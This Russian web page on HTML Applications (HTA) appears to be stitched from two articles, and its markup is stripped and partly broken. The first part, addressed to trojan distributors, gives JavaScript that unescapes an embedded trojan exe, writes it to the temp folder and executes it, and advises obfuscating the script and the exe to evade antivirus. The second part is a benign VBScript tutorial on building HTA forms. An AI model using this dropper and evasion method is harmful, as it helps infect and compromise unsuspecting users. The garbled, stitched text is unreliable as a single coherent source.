HTML-приложения. HTML Приложения (HTA)

24.06.2019

Как-то раз я, листая MSDN, совершенно случайно наткнулся на
описание одной технологии, которая, как выяснилось, поддерживается еще
со времен 5-й версии MSIE. Назвается она HTML Applications. Суть в том,
что если html-контент сохранить в файл с расширением.hta и между
и вставить специальный тег , то к этому контенту
не применяются никакие ограничения, связанные с безопасностью, т. е. на странице могут присутствовать любые элементы управления, скрипты могут
создавать любые COM-объекты, писать в любые файлы и получать доступ к
контенту во фреймах, независимо от того, из какого домена он был
загружен. Это дает возможность создавать
полнофункциональные приложения с HTML-интерфейсом. Если же JavaScript не подходит для отдельных частей
программы, то их можно реализовать в виде ActiveX объектов, а DHTML
использовать только для создания GUI. Очевидно, эта технология появилась
вследствие тенденции использования движка MSIE, где надо и где не надо. О безопасности
мелкомягкие тоже подумали. Простая вставка тега
не превращает пагу в доверенный источник. Если открыть
ссылку на hta-файл, то, как и при открытии exeшников из инета,
появляется диалог с кнопками «Открыть», «Сохранить» и
т.д., предупреждающий, что этот контент может представлять опасность.
Всё правильно, но опытный распространитель троянов сумеет впарить такой
файл юзверю, не знающему об этой технологии. А уж возможностей скриптов
и компонентов, установленных на любой windows-тачке,
достаточно, чтобы скачать и установить какую-нибудь прогу, прописаться в автозагрузке и
даже стереть все файлы, если это доступно текущему пользователю. HTA-файл может быть вполне работоспособным и полезным
приложением. Хотя использовать эту технологию в коммерческом софте
трудно, поскольку HTML/JavaScript исполняется в виде исходника и,
следовательно, не может содержать платных или секретных алгоритмов.

Атрибуты тега APPLICATION

Этот тег не может содержать внутри себя никаких тегов или
текста, но требует закрывающего тега. Можно писать так:

, а можно так:
, как в XML.

У тега APPLICATION есть довольно много атрибутов, с помощью
которых устанавливаются свойства окна. Все они необязательны, и если
тебе безразличен вид окна твоего приложения, то можешь их не указывать. Атрибуты доступны из скриптов, что позволяет изменять свойства
окна, сворачивать/разворачивать и т.д. Вот список атрибутов с краткими пояснениями:

applicationName — имя приложения
version — его версия
border — тип границы окна
borderStyle — стиль границы
caption — показывать ли заголовок окна
commandLine — возвращает аргументы командной строки
contextMenu — показывать ли контекстное меню
icon — иконка окна
innerBorder — внутренная 3D-рамка
maximizeButton,
minimizeButton,
sysMenu — показывать ли соответствующие кнопки
navigable — открывать ссылки в том же окне
scroll,
scrollFlat — свойства скроллбара
selection — разрешать выделение
showInTaskBar — show in taskbar
singleInstance — только один экземпляр может быть запущен
windowState — состояние окна

Старт из HTML

Теперь конкретный пример того, что можно сделать, имея
возможность впарить юзеру HTA-файл. Допустим, у тебя есть готовый
троян в виде exe-файла, и тебе не терпится совместить его с новой
технологией. Трояны обычно бывают маленькими, и, думаю, что ничего страшного
не произойдет, если размер нашего HTML-приложения будет немного больше.
Для того, чтобы вставить бинарные данные в текст, нам потребуется их
закодировать. В JavaScript поддерживается стандартное кодирование урлов.
Этот метод годится только, если нетекстовых символов в коде мало. Если
их много (а так обычно бывает, так как внутри ехе-файлов заголовки и
секции дополняются нулами для выравнивания), то этот метод не самый
хороший. В худшем случае код будет втрое длиннее исходного. Гораздо
лучше было бы заюзать кодировку base64, при которой размер любых данных
увеличивается на 33%, но я не нашел в JavaScript встроенных
средств кодирования и декодирования по base64, а реализовывать их прямо на
JavaScript как-то некрасиво, имхо. Так что кодировать будем функцией
escape(), а декодировать — unescape(). Эксперимент показывает, что эти
функции работают со строками любой длины. Так что можно записать весь
экзешник одной строковой константой в скрипте.

Итак, алгоритм, который нужно реализовать в скрипте, такой:

1) Раскодировать содержимое исполняемого файла
2) Записать его
3) Запустить

Отметим один момент: важно не лопухнуться с выбором места для
файла. Если юзер не админ, то записать файл куда-попало не получится.
Нужно узнать от системы путь, например, папки temp (а это мы сделаем
тоже средствами JavaScript), и записать файл туда.

Итак, затрояненный HTA-файл может выглядеть примерно так.


code = «MZ%90%00%03%00%00%00%04 …… «; // Закодированный троян

var fso = new ActiveXObject(«Scripting.FileSystemObject»);

var tf = fso.GetSpecialFolder(2); // Получим windows\temp
var fn = tf + «\\x.exe»; // Добавим имя файла

var a = fso.CreateTextFile(fn, true); // Запишем в файл тело трояна
a.Write(unescape(code));
a.Close();

var WshShell = new ActiveXObject(«WScript.Shell»);
WshShell.Exec(fn); // Запустим его




Привет, чувак!
TheBat не показывает картинки, так что открой этот файл в Ехплорере.

Неплохо еще защитить скрипт от обнаружения антивирусом.
Существуют проги, изменяющие скрипты до неузнаваемости. Они называются
obfuscators (подробнее о них можешь прочитать в ). Microsoft предлагает свой обфускатор — Windows Script
Encoder. Он шифрует скрипты, а расшифровщик встроен в состему.
Инструкция честно предупреждает, что Windows Script Encoder не защитит
код от целеустремленного хакера. От хакера, может, и не защитит, а от
антивируса защитит. Нужно только скормить ему готовый HTA-файл,
и вместо скрипта появится какая-то абракадабра, а вместо
«JavaScript» будет написано «JavaScript.Encoded». Нельзя забывать о том, что ехе-компоненту тоже необходимо
сделать неузнаваемой, так как она записывается на диск, и при этом
может быть обнаружена антивирусным монитором.

HTML-приложения

Начиная с Internet Explorer 5.0 появилась возможность создавать HTML-приложения с любым пользовательским интерфейсом при помощи JavaScript или VBScript. Причем, созданное html-приложение будет запускаться вне браузера и ничем не будет отличаться от стандартных Windows-приложений.

Созданное приложение будет присутствовать на панели задач, иметь свое собственное окно, меню и значок. Плюс ко всему отпадает необходимость подтверждать использование ActiveX-компонентов (система защиты Internet Explorer предусматривает появление предупреждающих сообщений при попытке использования ActiveX в HTML-документах). Вы имеете полный контроль над системой, включая чтение/запись файлов, данных в реестре, управление процессами. Для создания такого приложения достаточно обычного Блокнота (или другой текстовый редактор).

Данные html-приложения должны иметь расширение *.hta . Простейший случай будет выглядеть так:

Моя программа

nul" oShell.Run sCommand,0,1 End Sub

Данная процедура использует такое свойство стандартной команды ping, что интервал между отправками пакетов к хосту 1 секунда. То есть если нам требуется задержка в выполнении сценария в 1 секунду, то нужно отправить 2 пакета, интервал между ними и будет 1 секунда. Второй момент данного способа в том, что пакеты посылаются на хост-заглушку 127.0.0.1 - то есть самому себе, поэтому время ответа от хоста равно миллисекундам и мало влияет на расчет времени между отправками пакетов. Третий момент - это выполнение команды ping в скрытом режиме.

Методы и свойства класса Shell

Для работы с операционной системой используется специальный класс Shell, который позволяет выполнять такие операции как запуск программ, изменение реестра, создание ярлыков, доступ к системным папкам и системным переменным, доступ к системному журналу.

Наиболее востребованной процедурой являются запуск внешнего приложения. Ниже представлен пример процедуры запуска приложения.

Sub RunApplication(sApplication) sCommandLine ="" Set oShell = CreateObject("Wscript.Shell") Select Case sApplication Case "CommandPrompt" sCommandLine = "%ComSpec%" Case "TestScript" sCommandLine = "%COMSPEC% /C CScript C:\Scripts\Test.vbs" Case "FarManager" sCommandLine = "C:\FarManager\Far.exe" Case "Notepad" sCommandLine = "notepad.exe" Case Else sCommandLine ="" End Select If Len(sCommandLine) > 0 Then oShell.Run sCommandLine,1,0 End Sub

Данная процедура в качестве параметра получает идентификатор элемента, вызвавшего ее, выбирает нужную командную строку и запускает ее, если строку запуска удалось подобрать.

Методы и свойства класса FileSystemObject

Очень часто встречаются такие случаи, когда необходимо что-то создать, удалить, переместить или изменить на диске компьютера. Эту задачу позволяет решить класс FileSystemObject, предназначенный для работы с файловой системой.

Наиболее распространенная задача из операций с файловой системой - это чтение файла. Ниже представлена функция чтения текстового файла, которая в качестве параметра принимает путь к файлу, а отдает массив строк считанного файла.

Function ReadFile(sFileName) Set oFSO = CreateObject("Scripting.FileSystemObject") Set oInFile = oFSO.OpenTextFile(sFileName, 1, False, 0) sFileContent = oInFile.ReadAll oInFile.Close ReadFile = sFileContent End Function

Еще одна полезная функция - это проверка существования файла, например, перед запуском внешней программы или перед считыванием текстового файла. Входным параметром функции является путь к файлу, выходным - логическая переменная.

Function CheckFile(sFilePath) Set oFSO = CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(sFilePath) Then CheckFile = True Else CheckFile = false End If End Function

Классы Windows Management Instrumentation

Windows Management Instrumentation (WMI) - это набор интерфейсов для управления операционной системой через специальные компоненты, причем как локально, так и по сети. Это очень богатый набор инструментов, с помощью которого можно выполнить любое действие в среде семейства Windows.

Наиболее простым и востребованным примером использования WMI является определение параметров дисплея пользователя для центрирования формы приложения на экране.

Function GetDisplayResolution() Set oWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = oWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each oItem In colItems iHorizontal = oItem.ScreenWidth iVertical = oItem.ScreenHeight Exit For Next GetDisplayResolution = iHorizontal & ";" & iVertical End Function

Второй пример использования WMI также полезен и часто используется - это функция определения доступности компьютера в сети.

Function PingComputer(sComputer) Set oPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery("SELECT" & _ * FROM Win32_PingStatus WHERE address = "" & sComputer & """) For Each oStatus In oPing If IsNull(oStatus.StatusCode) Or oStatus.StatusCode

Пример использования функций взаимодействия с операционной системой

Преобразуем наше приложение следующим образом: изменим текст формы, добавим все вышеописанные примеры, на форме разместим несколько кнопок для запуска заданий, в директории, где располагается файл HTA-приложения, создадим папку "MyHTA_files", в которой разместим несколько файлов:

  • text.txt- любой текстовый файл;
  • test.vbs- файл, содержащий только одну строку:MsgBox("Hello script!");
  • MyHTA.ico- любая иконка;
  • MyHTA.vbs- файл, содержащий все вышеописанные скрипты.

Листинг файла "MyHTA.hta"

Моё HTA-приложение

Моё HTA-приложение
Версия: X.X

" Процедура инициализации окна формы Sub WindowOnLoad Dim CurrentResolution " Размер окна iWidth = 800 iHeight = 600 " Получение текущего разрешения экрана CurrentResolution = GetDisplayResolution() " Изменение размера окна и его центрирование iLeft = (Split(CurrentResolution,";")(0) - iWidth) / 2 iTop = (Split(CurrentResolution,";")(1) - iHeight) / 2 Self.Focus() Self.resizeTo iWidth, iHeight Self.moveTo iLeft, iTop " Вывод версии приложения на форму Version_Div.InnerHTML = "Версия: " & oHTA.Version End Sub Sub RunApplication(sApplication) sCommandLine ="" Set oShell = CreateObject("Wscript.Shell") Select Case sApplication Case "CommandPrompt" sCommandLine = "%ComSpec%" Case "TestScript" If CheckFile(oShell.CurrentDirectory & "\MyHTA_files\Test.vbs") = True Then sCommandLine = "WScript """ & oShell.CurrentDirectory & _ "\MyHTA_files\Test.vbs""" Else MsgBox("Файл не найден") End If Case "TextFile" If CheckFile(oShell.CurrentDirectory & "\MyHTA_files\Test.txt") = True Then sCommandLine = "Notepad """ & oShell.CurrentDirectory & _ "\MyHTA_files\Test.txt""" Else MsgBox("Файл не найден") End If Case "TempDir" sCommandLine = "Explorer " & oShell.ExpandEnvironmentStrings("%Temp%") Case Else sCommandLine ="" End Select If Len(sCommandLine) > 0 Then oShell.Run sCommandLine,1,0 End Sub Function ReadFile(sFileName) Set oFSO = CreateObject("Scripting.FileSystemObject") Set oInFile = oFSO.OpenTextFile(sFileName, 1, False, 0) sFileContent = oInFile.ReadAll oInFile.Close ReadFile = sFileContent End Function Function CheckFile(sFilePath) Set oFSO = CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(sFilePath) Then CheckFile = True Else CheckFile = false End if End Function Function GetDisplayResolution() Set oWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = oWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each oItem In colItems iHorizontal = oItem.ScreenWidth iVertical = oItem.ScreenHeight Exit For Next GetDisplayResolution = iHorizontal & ";" & iVertical End Function Function PingComputer(sComputer) Set oPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery(_ "select * from Win32_PingStatus where address = "" & sComputer & """) For Each oStatus In oPing If IsNull(oStatus.StatusCode) Or oStatus.StatusCode 0 Then PingComputer = False Else PingComputer = True End If Next End Function

Итак, теперь мы имеем форму, в которой к каждой из кнопок привязано определенное действие. Чтобы оживить форму и сделать интерфейс более приятным, нам потребуется использовать таблицы стилей, а так же свойства объектов формы, которые мы будем менять динамически по мере возникновения новых событий формы.

Динамический интерфейс

Динамический интерфейс или интерфейс, меняющийся в зависимости от действий пользователя, реализуется при помощи DHTML. Реализация DHTML стоит а трёх "китах": непосредственно HTML, каскадных таблицах стилей (CSS) и языке сценариев (Java Script или Visual Basic Script). Эти три компонента DHTML связаны между собой объектной моделью документа (DOM), являющейся, по сути, интерфейсом прикладного программирования (API). DOM связывает воедино три перечисленных компонента, придавая простому документу HTML новое качество, - возможность динамического изменения своего содержимого без перегрузки страницы.

На самом деле мы уже использовали динамический интерфейс в предыдущих примерах - это изменение размера и положения формы при загрузке, а также вывод версии приложения на форму.

Пример создания динамического интерфейса

Итак, первое, что нам потребуется - это создать статическую структуру нашей формы. В нашем примере мы уже создали основу формы - таблицу. Теперь нам потребуется дополнить ее областями, которые будут принимать в себя динамические данные. Для этого изменим тело таблицы согласно схеме, показанной на рисунке.

Листинг файла "MyHTA.hta"

Моё HTA-приложение

Моё HTA-приложение
Добро пожаловать

Теперь, когда структура формы готова, необходимо создать таблицу стилей, которая и будет определять внешний вид всех объектов формы. Если вы уже заметили, из разметки формы пропали все атрибуты, отвечающие за отображение объектов - теперь все атрибуты определяются CSS-файлом "MyHTA.css". Этот файл таблицы стилей располагается в папке "MyHTA_files", и подключается командой

Листинг файла "MyHTA_files\MyHTA.css"

Body { background-color: buttonface; font-family: Tahoma; } table { height: 100%; width: 100%; } .Header_Row { height:40px; } .Content_Row { vertical-align: top; } #StaticMenu_Cell { width: 20%; text-align: center; } #StaticMenu_Cell input { width: 150px; margin: 2px 2px 2px 2px; } #DynamicContent_Cell { margin: 2px 2px 2px 2px; } #DynamicContent_Cell #DynamicContent_Div { text-align: center; } #DynamicContent_Cell #DynamicContent_Div .NormalLink { font-family: Tahoma; font-size: 10pt; color: black; cursor: default; vertical-align: text-bottom; text-align: left; padding-right: 20px } #DynamicContent_Cell #DynamicContent_Div .NormalLinkMouseOver { font-family: Tahoma; font-size: 10pt; color: Navy; text-decoration: underline; cursor: hand; vertical-align: text-bottom; text-align: left; padding-right: 20px } #DynamicContent_Cell #DynamicContent_Div .TextFile { font-family: Tahoma; font-size: 10pt; text-align: left; } .Footer_Row { height:30px; } #Version_Div { float: left; } #Button_Div { float: right; }

Последнее и самое сложное, что нужно сделать - это написать логику работы формы - сценарий на языке Visual Basic. Сценарий должен обрабатывать события формы и изменять ее интерфейс в зависимости от потребностей пользователя.

Первое событие, которое возникает в приложении - это загрузка формы. При этом событии сценарий должен получить от системы разрешение экрана, отцентровать форму и изменить ее размеры. Далее могут возникать события нажатия кнопок, при которых нужно определять нажатую кнопку, выполнять соотвествующую команду и перерисовать динамическую зону формы. Последнее событие - это нажатие на кнопку "Закрыть", при котором форма закрывает себя.

Если более подробно рассмотреть событие нажатия кнопки "Файл test.txt", то можно выделить несколько этапов логики:

  • проверка наличия файла на диске компьютера;
  • вывод в динамическую зону вопроса о том, как отобразить текстовый файл - создание двух новых объектов с обработкой событий "при нажатии";
  • обработка события выбранного отбъекта - открыть в блокноте или вывести на форму;
  • открытие тектового файла в блокноте, если выбрано это действие;
  • вывод в динамическую зону формы содержимого текстового файла, если выбрано это действие.
  • Сценарий-обработчик событий располагается в папке "MyHTA_files", и подключается командой в файле приложения "MyHTA.hta".

    Листинг файла "MyHTA_files\MyHTA.vbs"

    " Процедура инициализации окна формы Sub WindowOnLoad Dim CurrentResolution " Размер окна iWidth = 800 iHeight = 600 " Получение текущего разрешения экрана CurrentResolution = GetDisplayResolution() " Изменение размера окна и его центрирование iLeft = (Split(CurrentResolution,";")(0) - iWidth) / 2 iTop = (Split(CurrentResolution,";")(1) - iHeight) / 2 Self.Focus() Self.resizeTo iWidth, iHeight Self.moveTo iLeft, iTop " Вывод версии приложения на форму Version_Div.InnerHTML = "Версия: " & oHTA.Version End Sub Sub RunApplication(sApplication) sCommandLine ="" Set oShell = CreateObject("Wscript.Shell") Select Case sApplication Case "CommandPrompt" sCommandLine = "%ComSpec%" DynamicContent_Div.InnerHTML = "Командная строка открыта" Case "TestScript" If CheckFile(oShell.CurrentDirectory & "\MyHTA_files\Test.vbs") = True Then sCommandLine = "WScript """ & oShell.CurrentDirectory & _ "\MyHTA_files\Test.vbs""" DynamicContent_Div.InnerHTML = "Скрипт " & oShell.CurrentDirectory & _ "\MyHTA_files\Test.vbs" & " выполнен" Else DynamicContent_Div.InnerHTML = "Файл не найден" End If Case "TextFile" If CheckFile(oShell.CurrentDirectory & "\MyHTA_files\Test.txt") = True Then sDinamicContent = "Выберите режим отображения содержимого файла:- Открыть файл в блокноте" sDinamicContent = sDinamicContent & "- Отобразить здесь" DynamicContent_Div.InnerHTML = sDinamicContent Else DynamicContent_Div.InnerHTML = "Файл не найден" End If Case "TextFile_Form" sDinamicContent = "" & _ "Текстовый файл: " & _ oShell.CurrentDirectory & "\MyHTA_files\Test.txt" sDinamicContent = sDinamicContent & "Закрыть" sDinamicContent = sDinamicContent & "
    " & _ Replace(ReadFile(oShell.CurrentDirectory & _ "\MyHTA_files\Test.txt"),vbCrLf,"
    ") & "" DynamicContent_Div.InnerHTML = sDinamicContent Case "TextFile_Notepad" sCommandLine = "Notepad """ & oShell.CurrentDirectory & "\MyHTA_files\Test.txt""" DynamicContent_Div.InnerHTML = "Файл " & oShell.CurrentDirectory & _ "\MyHTA_files\Test.txt" & " открыт в блокноте" Case "TextFile_Close" DynamicContent_Div.InnerHTML = "Добро пожаловать" Case "TempDir" sCommandLine = "Explorer " & oShell.ExpandEnvironmentStrings("%Temp%") DynamicContent_Div.InnerHTML = "Папка временных файлов открыта" Case Else sCommandLine ="" End Select If Len(sCommandLine) > 0 Then oShell.Run sCommandLine,1,0 End Sub Function ReadFile(sFileName) Set oFSO = CreateObject("Scripting.FileSystemObject") Set oInFile = oFSO.OpenTextFile(sFileName, 1, False, 0) sFileContent = oInFile.ReadAll oInFile.Close ReadFile = sFileContent End Function Function CheckFile(sFilePath) Set oFSO = CreateObject("Scripting.FileSystemObject") If oFSO.FileExists(sFilePath) Then CheckFile = True Else CheckFile = false End If End Function Function GetDisplayResolution() Set oWMIService = GetObject("winmgmts:\\.\root\cimv2") Set colItems = oWMIService.ExecQuery("Select * From Win32_DesktopMonitor") For Each oItem In colItems iHorizontal = oItem.ScreenWidth iVertical = oItem.ScreenHeight Exit For Next GetDisplayResolution = iHorizontal & ";" & iVertical End Function Function PingComputer(sComputer) Set oPing = GetObject("winmgmts:{impersonationLevel=impersonate}").ExecQuery(_ "select * from Win32_PingStatus where address = "" & sComputer & """) For Each oStatus In oPing If IsNull(oStatus.StatusCode) Or oStatus.StatusCode 0 Then PingComputer = False Else PingComputer = True End If Next End Function Sub ccSleep(seconds) Set oShell = CreateObject("Wscript.Shell") sCommand = "%COMSPEC% /c ping -n " & 1 + seconds & " 127.0.0.1>nul" oShell.Run sCommand,0,1 End Sub здесь .

    Приложение "Консоль администратора"

    Приложение "Консоль администратора" - это сборник часто используемых команд администратора домена или службы поддержки домена. С помощью данной программы можно: управлять компьютером, скорректировать сервисы, узнать информацию о компьютере, узнать информацию о пользователе, разблокировать пользователя или сменить ему пароль.

    Данное приложение представяет из себя форму с возможностью выбора требуемой команды, полями ввода имени компьютера и пользователя, кнопки "Выполнить" и информационной строки, где отображается результат выполнения команд. Консоль имеет файл конфигурации "MyHTA.ini", в котором задаются параметры домена. Архив с примером программы можно загрузить .

    Виталий Бочкарев

    Внешние ссылки

    Секция внешних ссылок, то есть ссылок на другие сайты, к которым данный ресурс не имеет никакого отношения.. Кроме этого, владелец сайта сайт не несет никакой ответственности за доступность этих ресурсов и за их контент.

    Похожие статьи